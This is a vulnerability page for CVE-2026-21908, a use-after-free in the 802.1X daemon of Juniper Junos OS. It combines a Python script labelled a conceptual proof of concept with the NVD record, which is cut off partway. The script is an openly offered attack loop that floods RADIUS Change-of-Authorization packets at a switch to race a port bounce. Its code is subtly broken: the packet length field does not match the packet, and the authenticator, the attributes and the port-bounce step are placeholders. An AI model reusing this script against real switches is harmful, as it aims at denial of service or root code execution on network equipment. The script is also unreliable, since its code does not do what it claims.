CVE-2026-21908

# CVE-2026-21908 PoC - Conceptual demonstration # Note: Actual exploitation requires precise timing control import socket import struct import time import threading def send_coa_request(target_ip, port=3799): """Send RADIUS Change of Authorization request""" # CoA-Request packet structure (simplified) coa_packet = b'\x03\x01' # Code: CoA-Request, id coa_packet += struct.pack('!H', 100) # Length coa_packet += b'\x00\x00\x00\x01' # Authenticator coa_packet += b'\x00\x06\x00\x00' # Attributes placeholder sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(coa_packet, (target_ip, port)) sock.close() def trigger_port_bounce(switch_ip, interface): """Trigger port bounce on target interface""" # This would typically use SNMP or SSH to admin-disable/enable port # Pseudocode for demonstration: # disable_port(switch_ip, interface) # time.sleep(0.01) # Critical timing window # enable_port(switch_ip, interface) pass def exploit_cve_2026_21908(target_ip, interface, duration=60): """ Conceptual exploit for CVE-2026-21908 Requires authenticated network access and 802.1X enabled """ print(f"[*] Starting CVE-2026-21908 exploit attempt on {target_ip}") print(f"[*] Target interface: {interface}") print(f"[*] Duration: {duration} seconds") # Race condition: CoA request during port bounce # This is a theoretical PoC - actual exploitation is timing-dependent start_time = time.time() while time.time() - start_time < duration: # Thread 1: Send CoA request threading.Thread(target=send_coa_request, args=(target_ip,)).start() # Thread 2: Trigger port bounce threading.Thread(target=trigger_port_bounce, args=(target_ip, interface)).start() time.sleep(0.5) # Retry interval print("[*] Exploit attempt completed") if __name__ == "__main__": print("[!] This is a conceptual PoC for educational purposes only") print("[!] Actual exploitation requires specific network conditions and timing") # Example: exploit_cve_2026_21908('192.168.1.1', 'ge-0/0/1')

{"cve": {"id": "CVE-2026-21908", "sourceIdentifier": "[email protected]", "published": "2026-01-15T21:16:06.537", "lastModified": "2026-01-23T19:40:42.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Use After Free vulnerability was identified in the 802.1X authentication daemon (dot1xd) of Juniper Networks Junos OS and Junos OS Evolved that could allow an authenticated, network-adjacent attacker flapping a port to crash the dot1xd process, leading to a Denial of Service (DoS), or potentially execute arbitrary code within the context of the process running as root.\n\nThe issue is specific to the processing of a change in authorization (CoA) when a port bounce occurs. A pointer is freed but was then referenced later in the same code path. Successful exploitation is outside the attacker's direct control due to the specific timing of the two events required to execute the vulnerable code path.\n\nThis issue affects systems with 802.1X authentication port-based network access control (PNAC) enabled.\nThis issue affects:\n\nJunos OS: \n\n\n\n * from 23.2R2-S1 before 23.2R2-S5, \n * from 23.4R2 before 23.4R2-S6, \n * from 24.2 before 24.2R2-S3, \n * from 24.4 before 24.4R2-S1, \n * from 25.2 before 25.2R1-S2, 25.2R2; \n\n\n\n\nJunos OS Evolved: \n\n\n\n * from 23.2R2-S1 before 23.2R2-S5-EVO, \n * from 23.4R2 before 23.4R2-S6-EVO, \n * from 24.2 before 24.2R2-S3-EVO, \n * from 24.4 before 24.4R2-S1-EVO, \n * from 25.2 before 25.2R1-S2-EVO, 25.2R2-EVO."}, {"lang": "es", "value": "Una vulnerabilidad de Use After Free fue identificada en el demonio de autenticación 802.1X (dot1xd) de Juniper Networks Junos OS y Junos OS Evolved que podría permitir a un atacante autenticado y adyacente a la red, alternando un puerto, bloquear el proceso dot1xd, lo que lleva a una denegación de servicio (DoS), o potencialmente ejecutar código arbitrario dentro del contexto del proceso que se ejecuta como root.\n\nEl problema es específico del procesamiento de un cambio en la autorización (CoA) cuando ocurre un rebote de puerto. Un puntero es liberado pero luego fue referenciado más tarde en la misma ruta de código. La explotación exitosa está fuera del control directo del atacante debido a la sincronización específica de los dos eventos requeridos para ejecutar la ruta de código vulnerable.\n\nEste problema afecta a sistemas con autenticación 802.1X con control de acceso a la red basado en puerto (PNAC) habilitado.\nEste problema afecta a:\n\nJunos OS:\n\n * desde 23.2R2-S1 antes de 23.2R2-S5,\n * desde 23.4R2 antes de 23.4R2-S6,\n * desde 24.2 antes de 24.2R2-S3,\n * desde 24.4 antes de 24.4R2-S1,\n * desde 25.2 antes de 25.2R1-S2, 25.2R2;\n\nJunos OS Evolved:\n\n * desde 23.2R2-S1 antes de 23.2R2-S5-EVO,\n * desde 23.4R2 antes de 23.4R2-S6-EVO,\n * desde 24.2 antes de 24.2R2-S3-EVO,\n * desde 24.4 antes de 24.4R2-S1-EVO,\n * desde 25.2 antes de 25.2R1-S2-EVO, 25.2R2-EVO."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:M/U:Green", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "GREEN"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "i ... (truncated)